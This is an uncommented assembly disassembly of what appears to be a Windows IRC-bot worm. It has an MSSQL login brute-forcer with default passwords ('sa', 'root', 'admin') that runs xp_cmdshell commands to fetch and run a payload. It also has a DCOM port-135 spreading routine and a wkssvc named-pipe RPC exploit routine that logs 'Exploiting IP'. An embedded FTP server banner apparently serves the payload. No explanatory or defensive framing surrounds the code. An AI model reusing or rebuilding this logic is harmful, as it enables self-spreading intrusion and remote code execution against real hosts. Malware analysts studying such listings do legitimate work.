add esp, 0C4h
test al, al
jnz short loc_40488D
push 1
loc_40486D: ; CODE XREF: sub_404737+110j
push ebx
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_4042F8
add esp, 0C4h
test al, al
jz short loc_404894
loc_40488D: ; CODE XREF: sub_404737+132j
mov [ebp+var_4], 1
loc_404894: ; CODE XREF: sub_404737+154j
push ebx
call dword_441450 ; closesocket
cmp [ebp+var_4], 0
jz short loc_404909
lea eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_A8]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
push offset unk_426B40
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41792A
push 0
lea eax, [ebp+var_214]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_40DC10
lea eax, [ebp+var_214]
push eax
call sub_40C4F7
mov eax, [ebp+arg_A8]
add esp, 2Ch
imul eax, 3Ch
inc dword_428C00[eax]
lea eax, dword_428C00[eax]
loc_404909: ; CODE XREF: sub_404737+168j
push 1
pop eax
loc_40490C: ; CODE XREF: sub_404737+10Aj
pop edi
pop esi
pop ebx
leave
retn
sub_404737 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
sub esp, 0BCh
lea esi, [ebp+8]
mov dword ptr [ebp+0A8h], 1BDh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40381E
push 2Fh
lea esi, [ebp+8]
pop ecx
mov dword ptr [ebp+0A8h], 1BDh
mov edi, esp
mov [ebp-4], eax
rep movsd
call sub_404737
add esp, 0BCh
cmp dword ptr [ebp-4], 0
jnz short loc_404962
test eax, eax
jz short loc_404965
loc_404962: ; CODE XREF: ___:0040495Cj
push 1
pop eax
loc_404965: ; CODE XREF: ___:00404960j
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404969 proc near ; CODE XREF: ___:00404C35p
var_E34 = byte ptr -0E34h
var_A34 = byte ptr -0A34h
var_634 = byte ptr -634h
var_234 = byte ptr -234h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_22 = byte ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_14 = byte ptr 1Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
arg_B0 = dword ptr 0B8h
arg_B4 = dword ptr 0BCh
push ebp
mov ebp, esp
sub esp, 0E34h
mov al, byte_43C63C
push ebx
mov [ebp+var_1], al
lea eax, [ebp+var_10]
push esi
xor ebx, ebx
push eax
mov esi, offset aSa ; "sa"
push ebx
push 1
mov [ebp+var_34], esi
mov [ebp+var_30], offset aRoot ; "root"
mov [ebp+var_2C], offset aAdmin ; "admin"
mov [ebp+var_28], ebx
mov [ebp+var_1C], ebx
mov [ebp+var_C], ebx
mov [ebp+var_8], ebx
call dword_44133C
test ax, ax
jnz short loc_4049C9
push 0FFFFFFFAh
push 3
push 0C8h
push [ebp+var_10]
call dword_441440
test ax, ax
jz short loc_4049D0
loc_4049C9: ; CODE XREF: sub_404969+47j
xor eax, eax
jmp loc_404C11
; ---------------------------------------------------------------------------
loc_4049D0: ; CODE XREF: sub_404969+5Ej
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push 2
call dword_44133C
test ax, ax
jnz loc_404C04
test esi, esi
push edi
mov [ebp+var_18], ebx
jz loc_404BF5
mov edi, dword_421070
lea ecx, [ebp+var_34]
mov [ebp+var_20], ecx
loc_404A00: ; CODE XREF: sub_404969+1F4j
cmp off_42EF40, ebx
mov [ebp+var_14], ebx
jz loc_404B49
mov ebx, [ecx]
mov eax, offset off_42EF40
mov esi, eax
loc_404A18: ; CODE XREF: sub_404969+123j
lea ecx, [ebp+var_1]
push ecx
push dword ptr [eax]
lea eax, [ebp+arg_4]
push ebx
push [ebp+arg_A0]
push eax
lea eax, [ebp+var_A34]
push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"...
push eax
call sub_4173AC
add esp, 1Ch
lea eax, [ebp+var_22]
push 0
push eax
lea eax, [ebp+var_E34]
push 400h
push eax
lea eax, [ebp+var_A34]
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_A34]
push eax
push 0
push [ebp+var_C]
call dword_4413F4
test ax, ax
jz short loc_404A93
cmp ax, 1
jz short loc_404A93
push 1F4h
call edi ; Sleep
inc [ebp+var_14]
add esi, 4
mov eax, esi
cmp dword ptr [esi], 0
jnz short loc_404A18
jmp loc_404B47
; ---------------------------------------------------------------------------
loc_404A93: ; CODE XREF: sub_404969+109j
; sub_404969+10Fj
lea eax, [ebp+var_8]
push eax
push [ebp+var_C]
push 3
call dword_44133C
mov esi, offset byte_42EDC4
push esi
push esi
call sub_417408
push eax
call sub_417408
push eax
push dword_43C64C
push [ebp+arg_0]
call sub_40AFAB
pop ecx
push eax
lea eax, [ebp+var_634]
push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"...
push eax
call sub_4173AC
add esp, 20h
lea eax, [ebp+var_634]
push 0FFFFFFFDh
push eax
push [ebp+var_8]
call dword_44137C
test ax, ax
jz short loc_404B3C
mov ebx, 1388h
push ebx
call edi ; Sleep
push esi
lea eax, [ebp+var_634]
push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'"
push eax
call sub_4173AC
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_234]
push offset unk_426BB0
push eax
call sub_4173AC
add esp, 18h
lea eax, [ebp+var_634]
push 0FFFFFFFDh
push eax
push [ebp+var_8]
call dword_44137C
test ax, ax
jz short loc_404B62
push ebx
call edi ; Sleep
loc_404B3C: ; CODE XREF: sub_404969+185j
push [ebp+var_8]
push 3
call dword_4413D4
loc_404B47: ; CODE XREF: sub_404969+125j
xor ebx, ebx
loc_404B49: ; CODE XREF: sub_404969+A0j
mov ecx, [ebp+var_20]
inc [ebp+var_18]
add ecx, 4
mov [ebp+var_20], ecx
cmp [ecx], ebx
jz loc_404BF5
jmp loc_404A00
; ---------------------------------------------------------------------------
loc_404B62: ; CODE XREF: sub_404969+1CEj
mov eax, [ebp+var_14]
mov [ebp+var_1C], 1
push off_42EF40[eax*4]
mov eax, [ebp+var_18]
push [ebp+eax*4+var_34]
lea eax, [ebp+arg_4]
push [ebp+arg_A0]
push eax
mov eax, [ebp+arg_A8]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
push offset unk_426B6C
lea eax, [ebp+var_234]
push 200h
push eax
call sub_41792A
add esp, 20h
cmp [ebp+arg_B4], 0
jnz short loc_404BD3
push 0
lea eax, [ebp+var_234]
push [ebp+arg_B0]
push eax
lea eax, [ebp+arg_14]
push eax
push [ebp+arg_0]
call sub_40DC10
add esp, 14h
loc_404BD3: ; CODE XREF: sub_404969+24Aj
lea eax, [ebp+var_234]
push eax
call sub_40C4F7
mov eax, [ebp+arg_A8]
pop ecx
imul eax, 3Ch
inc dword_428C00[eax]
lea eax, dword_428C00[eax]
loc_404BF5: ; CODE XREF: sub_404969+85j
; sub_404969+1EEj
push [ebp+var_C]
push 2
call dword_4413D4
mov ebx, [ebp+var_1C]
pop edi
loc_404C04: ; CODE XREF: sub_404969+79j
push [ebp+var_10]
push 1
call dword_4413D4
mov eax, ebx
loc_404C11: ; CODE XREF: sub_404969+62j
pop esi
pop ebx
leave
retn
sub_404969 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
sub esp, 0BCh
lea esi, [ebp+8]
mov dword ptr [ebp+0A8h], 599h
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_404969
push 2Fh
lea esi, [ebp+8]
pop ecx
mov dword ptr [ebp+0A8h], 1BDh
mov edi, esp
mov [ebp-4], eax
rep movsd
call sub_404737
add esp, 0BCh
mov [ebp+0C0h], eax
push 1
pop eax
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_404C69 proc near ; CODE XREF: sub_404D78+F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
xor esi, esi
cmp [esp+4+arg_4], esi
jbe short loc_404C98
mov edx, [esp+4+arg_8]
loc_404C76: ; CODE XREF: sub_404C69+2Dj
mov eax, [esp+4+arg_0]
mov cl, [esi+eax]
mov al, cl
and cl, 0Fh
shr al, 4
add cl, 41h
add al, 41h
mov [edx], cl
mov [edx+1], al
inc esi
inc edx
inc edx
cmp esi, [esp+4+arg_4]
jb short loc_404C76
loc_404C98: ; CODE XREF: sub_404C69+7j
pop esi
retn
sub_404C69 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404C9A proc near ; CODE XREF: sub_404C9A+CDp
; sub_404D78+48Bp
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_404CAE
or [ebp+arg_7], 1
jmp short loc_404CB2
; ---------------------------------------------------------------------------
loc_404CAE: ; CODE XREF: sub_404C9A+Cj
and [ebp+arg_7], 0FEh
loc_404CB2: ; CODE XREF: sub_404C9A+12j
mov ebx, [ebp+arg_20]
mov eax, [ebp+arg_24]
lea ecx, [ebx+18h]
cmp ecx, eax
ja short loc_404CD3
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_404CE5
; ---------------------------------------------------------------------------
loc_404CD3: ; CODE XREF: sub_404C9A+23j
mov [ebp+arg_C], ax
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_404CE5: ; CODE XREF: sub_404C9A+37j
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_417BEE
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jnz short loc_404CFE
loc_404CFA: ; CODE XREF: sub_404C9A+A4j
xor al, al
jmp short loc_404D73
; ---------------------------------------------------------------------------
loc_404CFE: ; CODE XREF: sub_404C9A+5Ej
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_417490
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
nop
call near ptr 7C810D87h
push [ebp+arg_20]
test eax, eax
jnz short loc_404D40
call sub_417C62
pop ecx
jmp short loc_404CFA
; ---------------------------------------------------------------------------
loc_404D40: ; CODE XREF: sub_404C9A+9Cj
call sub_417C62
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_404D71
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_404C9A
add esp, 2Ch
jmp short loc_404D73
; ---------------------------------------------------------------------------
loc_404D71: ; CODE XREF: sub_404C9A+B0j
mov al, 1
loc_404D73: ; CODE XREF: sub_404C9A+62j
; sub_404C9A+D5j
pop edi
pop esi
pop ebx
leave
retn
sub_404C9A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404D78 proc near ; CODE XREF: ___:004052D2p
; ___:004052ECp ...
var_D198 = byte ptr -0D198h
var_9198 = byte ptr -9198h
var_7198 = byte ptr -7198h
var_5198 = byte ptr -5198h
var_3198 = byte ptr -3198h
var_1640 = dword ptr -1640h
var_D44 = byte ptr -0D44h
var_D3F = byte ptr -0D3Fh
var_D00 = byte ptr -0D00h
var_894 = byte ptr -894h
var_694 = byte ptr -694h
var_290 = byte ptr -290h
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_70 = byte ptr -70h
var_6C = byte ptr -6Ch
var_6B = byte ptr -6Bh
var_6A = byte ptr -6Ah
var_69 = byte ptr -69h
var_68 = dword ptr -68h
var_64 = word ptr -64h
var_62 = word ptr -62h
var_60 = dword ptr -60h
var_5C = word ptr -5Ch
var_5A = word ptr -5Ah
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = word ptr -50h
var_4E = byte ptr -4Eh
var_4C = byte ptr -4Ch
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = byte ptr -22h
var_21 = byte ptr -21h
var_20 = dword ptr -20h
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_18 = byte ptr 20h
arg_AC = dword ptr 0B4h
arg_B4 = dword ptr 0BCh
push ebp
mov ebp, esp
mov eax, 0D198h
call sub_417B70
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+arg_8]
push ebx
push eax
call sub_40DA5C
pop ecx
cmp eax, 3
pop ecx
jnz loc_40522C
push offset byte_42EDC4
push [ebp+arg_4]
call sub_40AFAB
pop ecx
push eax
lea eax, [ebp+var_894]
push 200h
push eax
call sub_416CC9
xor edi, edi
add esp, 10h
cmp eax, edi
mov [ebp+var_8], eax
jz loc_40522C
push 401h
lea eax, [ebp+var_694]
push edi
push eax
call sub_417430
push 0DACh
lea eax, [ebp+var_1640]
push edi
push eax
call sub_417430
push 1B58h
lea eax, [ebp+var_3198]
push edi
push eax
call sub_417430
push 0DABh
lea eax, [ebp+var_1640]
push 41h
push eax
call sub_417430
mov esi, [ebp+arg_0]
push 5
shl esi, 4
push offset dword_426E40
mov eax, dword ptr (loc_426E9E+2)[esi]
mov ecx, dword ptr (loc_426E97+5)[esi]
mov [ebp+eax+var_1640], ecx
lea eax, [ebp+var_D44]
push eax
call sub_417490
push 3Fh
lea eax, [ebp+var_D3F]
push offset sub_426E58
push eax
call sub_417490
add esp, 48h
lea eax, [ebp+var_694]
push eax
lea eax, [ebp+var_894]
push [ebp+var_8]
push eax
call sub_404C69
lea eax, [ebp+var_694]
push eax
call sub_417AF0
push eax
lea eax, [ebp+var_694]
push eax
lea eax, [ebp+var_D00]
push eax
call sub_417490
lea eax, [ebp+var_694]
push eax
call sub_417AF0
and [ebp+eax+var_D00], 0
add esp, 20h
xor ecx, ecx
lea eax, [ebp+var_3198]
loc_404EB0: ; CODE XREF: sub_404D78+14Dj
movzx dx, byte ptr [ebp+ecx+var_1640]
mov [eax], dx
inc ecx
inc eax
inc eax
cmp ecx, 0DACh
jb short loc_404EB0
lea eax, [ebp+arg_8]
push eax
push offset aS_1 ; "\\\\%s"
lea eax, [ebp+var_9198]
push 2000h
push eax
call sub_41792A
lea eax, [ebp+var_9198]
push 2000h
push eax
lea eax, [ebp+var_D198]
push eax
call sub_417CAE
lea eax, [ebp+arg_8]
push offset a_ ; "."
push eax
call sub_4203F0
add esp, 24h
test eax, eax
jz short loc_404F58
lea eax, [ebp+arg_8]
push eax
push offset loc_425AEC
lea eax, [ebp+var_5198]
push 2000h
push eax
call sub_41792A
push 20h
lea eax, [ebp+var_90]
push edi
push eax
call sub_417430
lea eax, [ebp+var_5198]
add esp, 1Ch
mov [ebp+var_7C], eax
mov eax, offset byte_43C63C
push edi
push eax
push eax
lea eax, [ebp+var_90]
push eax
call dword_441460
loc_404F58: ; CODE XREF: sub_404D78+194j
lea eax, [ebp+arg_8]
push eax
push offset aSPipeWkssvc ; "\\\\%s\\pipe\\wkssvc"
lea eax, [ebp+var_7198]
push 2000h
push eax
call sub_41792A
add esp, 10h
lea eax, [ebp+var_7198]
push edi
push edi
push 3
push edi
push 3
push 40000000h
push eax
nop
call near ptr 7C801A24h
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_404F9D
loc_404F96: ; CODE XREF: sub_404D78+31Bj
push edi
push edi
jmp loc_405223
; ---------------------------------------------------------------------------
loc_404F9D: ; CODE XREF: sub_404D78+21Cj
push 48h
lea eax, [ebp+var_6C]
push edi
push eax
call sub_417430
and [ebp+var_6B], 0
push 10h
pop eax
mov [ebp+var_6C], 5
mov [ebp+var_68], eax
push eax
lea eax, [ebp+var_4C]
push offset dword_428004
push eax
mov [ebp+var_6A], 0Bh
mov [ebp+var_69], 3
mov [ebp+var_64], 48h
mov [ebp+var_62], di
mov [ebp+var_60], ebx
mov [ebp+var_5C], 10B8h
mov [ebp+var_5A], 10B8h
mov [ebp+var_58], edi
mov [ebp+var_54], ebx
mov [ebp+var_50], di
mov [ebp+var_4E], 1
mov [ebp+var_3C], ebx
call sub_417490
push 10h
lea eax, [ebp+var_38]
push offset dword_427FF0
push eax
mov [ebp+var_28], 2
call sub_417490
add esp, 24h
lea eax, [ebp+var_70]
push edi
push eax
lea eax, [ebp+var_6C]
push 48h
push eax
push [ebp+var_4]
nop
call near ptr 7C810D87h
test eax, eax
jz short loc_40508A
lea eax, [ebp+var_D198]
push eax
call sub_417C91
pop ecx
lea ebx, [eax+eax+12h]
loc_40503B: ; CODE XREF: sub_404D78+2C9j
test bl, 3
jz short loc_405043
inc ebx
jmp short loc_40503B
; ---------------------------------------------------------------------------
loc_405043: ; CODE XREF: sub_404D78+2C6j
cmp byte ptr (loc_426EA3+1)[esi], 0
jz short loc_40504F
add ebx, 4
loc_40504F: ; CODE XREF: sub_404D78+2D2j
lea eax, [ebp+var_3198]
push eax
call sub_417C91
pop ecx
lea eax, [ebx+eax*2+0Eh]
loc_405060: ; CODE XREF: sub_404D78+2EDj
test al, 3
jz short loc_405067
inc eax
jmp short loc_405060
; ---------------------------------------------------------------------------
loc_405067: ; CODE XREF: sub_404D78+2EAj
add eax, 8
cmp byte ptr (loc_426EA3+1)[esi], 0
jz short loc_405078
add eax, 4
jmp short loc_40507A
; ---------------------------------------------------------------------------
loc_405078: ; CODE XREF: sub_404D78+2F9j
inc eax
inc eax
loc_40507A: ; CODE XREF: sub_404D78+2FEj
push eax
mov [ebp+var_8], eax
call sub_417BEE
mov ebx, eax
pop ecx
cmp ebx, edi
jnz short loc_405098
loc_40508A: ; CODE XREF: sub_404D78+2B0j
push [ebp+var_4]
nop
call near ptr 7C809B47h
jmp loc_404F96
; ---------------------------------------------------------------------------
loc_405098: ; CODE XREF: sub_404D78+310j
push [ebp+var_8]
push edi
push ebx
call sub_417430
push 4
push offset dword_426E48
push ebx
call sub_417490
lea eax, [ebp+var_D198]
push eax
call sub_417C91
inc eax
mov [ebx+0Ch], eax
mov [ebx+8], edi
mov eax, [ebx+0Ch]
mov [ebx+4], eax
lea eax, [ebp+var_D198]
push eax
lea eax, [ebx+10h]
push eax
call sub_417BC9
lea eax, [ebp+var_D198]
push eax
call sub_417C91
lea eax, [eax+eax+12h]
add esp, 28h
test al, 3
mov [ebp+arg_0], eax
jz short loc_4050FA
loc_4050F2: ; CODE XREF: sub_404D78+37Dj
inc eax
test al, 3
jnz short loc_4050F2
mov [ebp+arg_0], eax
loc_4050FA: ; CODE XREF: sub_404D78+378j
cmp byte ptr (loc_426EA3+1)[esi], 0
jz short loc_40511C
push 4
add eax, ebx
push offset dword_426E50
push eax
call sub_417490
add esp, 0Ch
add [ebp+arg_0], 4
mov eax, [ebp+arg_0]
loc_40511C: ; CODE XREF: sub_404D78+389j
add eax, ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_3198]
push eax
call sub_417C91
mov ecx, eax
mov eax, [ebp+var_C]
inc ecx
add [ebp+arg_0], 0Ch
mov [eax+8], ecx
mov [eax+4], edi
mov ecx, [eax+8]
mov [eax], ecx
lea eax, [ebp+var_3198]
push eax
mov eax, [ebp+arg_0]
add eax, ebx
push eax
call sub_417BC9
lea eax, [ebp+var_3198]
push eax
call sub_417C91
mov ecx, [ebp+arg_0]
add esp, 10h
lea eax, [ecx+eax*2+2]
test al, 3
mov [ebp+arg_0], eax
jz short loc_405179
loc_405171: ; CODE XREF: sub_404D78+3FCj
inc eax
test al, 3
jnz short loc_405171
mov [ebp+arg_0], eax
loc_405179: ; CODE XREF: sub_404D78+3F7j
push 8
add eax, ebx
push edi
push eax
call sub_417430
mov eax, [ebp+arg_0]
add esp, 0Ch
add eax, 8
cmp byte ptr (loc_426EA3+1)[esi], 0
jz short loc_40519B
mov [eax+ebx], edi
jmp short loc_4051A1
; ---------------------------------------------------------------------------
loc_40519B: ; CODE XREF: sub_404D78+41Cj
mov word ptr [eax+ebx], 1
loc_4051A1: ; CODE XREF: sub_404D78+421j
push 18h
lea eax, [ebp+var_24]
push edi
push eax
call sub_417430
add esp, 0Ch
mov cl, byte ptr (loc_426EA3+1)[esi]
and [ebp+var_23], 0
and [ebp+var_22], 0
push 1
mov [ebp+var_1A], di
pop eax
mov [ebp+var_10], di
push eax
push 10B8h
push [ebp+var_8]
lea esi, [ebp+var_24]
neg cl
sbb ecx, ecx
push ebx
and ecx, 2
sub esp, 18h
add ecx, 19h
mov [ebp+var_24], 5
push 6
mov [ebp+var_E], cx
pop ecx
mov [ebp+var_21], 3
mov edi, esp
push [ebp+var_4]
mov [ebp+var_20], 10h
mov [ebp+var_18], eax
rep movsd
call sub_404C9A
add esp, 2Ch
test al, al
push [ebp+var_4]
jnz short loc_405233
nop
call near ptr 7C809B47h
push ebx
call sub_417C62
pop ecx
push 0
push 0
loc_405223: ; CODE XREF: sub_404D78+220j
push [ebp+var_7C]
call dword_441420
loc_40522C: ; CODE XREF: sub_404D78+22j
; sub_404D78+52j
xor eax, eax
jmp loc_4052B7
; ---------------------------------------------------------------------------
loc_405233: ; CODE XREF: sub_404D78+498j
nop
call near ptr 7C809B47h
push ebx
call sub_417C62
pop ecx
xor esi, esi
push esi
push esi
push [ebp+var_7C]
call dword_441420
lea eax, [ebp+arg_8]
push eax
mov eax, [ebp+arg_AC]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp+var_290]
push 200h
push eax
call sub_41792A
push esi
lea eax, [ebp+var_290]
push [ebp+arg_B4]
push eax
lea eax, [ebp+arg_18]
push eax
push [ebp+arg_4]
call sub_40DC10
lea eax, [ebp+var_290]
push eax
call sub_40C4F7
mov eax, [ebp+arg_AC]
add esp, 2Ch
imul eax, 3Ch
inc dword_428C00[eax]
push 1
lea eax, dword_428C00[eax]
pop eax
loc_4052B7: ; CODE XREF: sub_404D78+4B6j
pop edi
pop esi
pop ebx
leave
retn
sub_404D78 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
lea esi, [esp+10h]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
push 1
rep movsd
call sub_404D78
add esp, 4
lea esi, [esp+0CCh]
mov ebx, eax
push 2Fh
pop ecx
mov edi, esp
push 1
rep movsd
call sub_404D78
add esp, 0C0h
test eax, eax
jnz short loc_4052FF
test ebx, ebx
jz short loc_405302
loc_4052FF: ; CODE XREF: ___:004052F9j
push 1
pop eax
loc_405302: ; CODE XREF: ___:004052FDj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
lea esi, [esp+10h]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
push 0
rep movsd
call sub_404D78
add esp, 4
lea esi, [esp+0CCh]
mov ebx, eax
push 2Fh
pop ecx
mov edi, esp
push 0
rep movsd
call sub_404D78
add esp, 0C0h
test eax, eax
jnz short loc_405349
test ebx, ebx
jz short loc_40534C
loc_405349: ; CODE XREF: ___:00405343j
push 1
pop eax
loc_40534C: ; CODE XREF: ___:00405347j
pop edi
pop esi
pop ebx
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405350 proc near ; DATA XREF: sub_4071BD+226o
var_A6C = byte ptr -0A6Ch
var_8DC = byte ptr -8DCh
var_6DC = dword ptr -6DCh
var_6D8 = byte ptr -6D8h
var_4C4 = byte ptr -4C4h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_438 = dword ptr -438h
var_334 = byte ptr -334h
var_2D0 = byte ptr -2D0h
var_29C = byte ptr -29Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_124 = byte ptr -124h
var_F8 = byte ptr -0F8h
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_48 = byte ptr -48h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6DC]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A6C]
xor edi, edi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_18], ebx
mov [ebp+var_228], edi
mov [ebp+var_438], edi
nop
call near ptr 71AB664Dh
push edi
call sub_418000
push eax
call sub_4173FE
push 0FEB0h
push 406h
call sub_415EF7
add esp, 10h
mov dword_43C64C, eax
push edi
push ebx
push 2
nop
call near ptr 71AB3B91h
mov esi, eax
lea eax, [ebp+var_28]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp+var_C], esi
nop
call near ptr 71AB3EA1h
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push esi
nop
call near ptr 71AB4519h
mov ax, word ptr dword_43C64C
mov [ebp+var_38], 2
push eax
mov [ebp+var_34], edi
nop
call near ptr 71AB2B66h
mov [ebp+var_36], ax
lea eax, [ebp+var_38]
push 10h
push eax
push esi
nop
call near ptr 71AB3E00h
test eax, eax
jge short loc_405425
mov eax, ebx
jmp loc_40594C
; ---------------------------------------------------------------------------
loc_405425: ; CODE XREF: sub_405350+CCj
push 0Ah
push esi
nop
call near ptr 71AB88D3h
mov [ebp+var_228], ebx
mov ebx, dword_4211EC
mov [ebp+var_224], esi
mov [ebp+var_4], esi
loc_405443: ; CODE XREF: sub_405350+12Cj
; sub_405350+5F4j
push 41h
lea esi, [ebp+var_228]
pop ecx
lea edi, [ebp+var_438]
rep movsd
xor esi, esi
lea eax, [ebp+var_438]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
nop
call near ptr 71AB2DC0h
cmp eax, 0FFFFFFFFh
jz loc_405949
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_405443
loc_40547E: ; CODE XREF: sub_405350+5EEj
xor esi, esi
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_417430
push 64h
lea eax, [ebp+var_AC]
push esi
push eax
call sub_417430
add esp, 18h
lea eax, [ebp+var_438]
push eax
push edi
call sub_4203D0
; ---------------------------------------------------------------------------
dw 0C085h
dd 481840Fh, 7D3B0000h, 8D7A75F4h, 45C7DC45h, 10DCh, 858D5000h
dd 0FFFFFDC8h, 0F475FF50h, 0BB52E890h, 0F883716Bh, 58840FFFh
dd 33000004h, 0D8B539C9h, 76FFFFFDh, 0DC958D16h
db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_4054EF: ; CODE XREF: sub_405350+1ADj
cmp [edx], eax
jz short loc_4054FF
inc ecx
add edx, 4
cmp ecx, [ebp+var_228]
jb short loc_4054EF
loc_4054FF: ; CODE XREF: sub_405350+1A1j
cmp ecx, [ebp+var_228]
jnz short loc_40551D
cmp [ebp+var_228], 40h
jnb short loc_40551D
mov [ebp+ecx*4+var_224], eax
inc [ebp+var_228]
loc_40551D: ; CODE XREF: sub_405350+1B5j
; sub_405350+1BEj
cmp eax, [ebp+var_4]
jle short loc_405525
mov [ebp+var_4], eax
loc_405525: ; CODE XREF: sub_405350+1D0j
push esi
push 15h
push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_405937
; ---------------------------------------------------------------------------
db 56h, 8Dh, 85h
dd 0FFFFFD64h, 5750646Ah, 0C14E890h, 0C085716Bh, 958B527Fh
dd 0FFFFFDD8h, 0D63BC933h, 858D3A76h, 0FFFFFDDCh
; ---------------------------------------------------------------------------
loc_40555C: ; CODE XREF: sub_405350+216j
cmp [eax], edi
jz short loc_40556A
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_40555C
jmp short loc_405590
; ---------------------------------------------------------------------------
loc_40556A: ; CODE XREF: sub_405350+20Ej
dec edx
cmp ecx, edx
jnb short loc_40558A
lea eax, [ebp+ecx*4+var_224]
loc_405576: ; CODE XREF: sub_405350+238j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_228]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_405576
loc_40558A: ; CODE XREF: sub_405350+21Dj
dec [ebp+var_228]
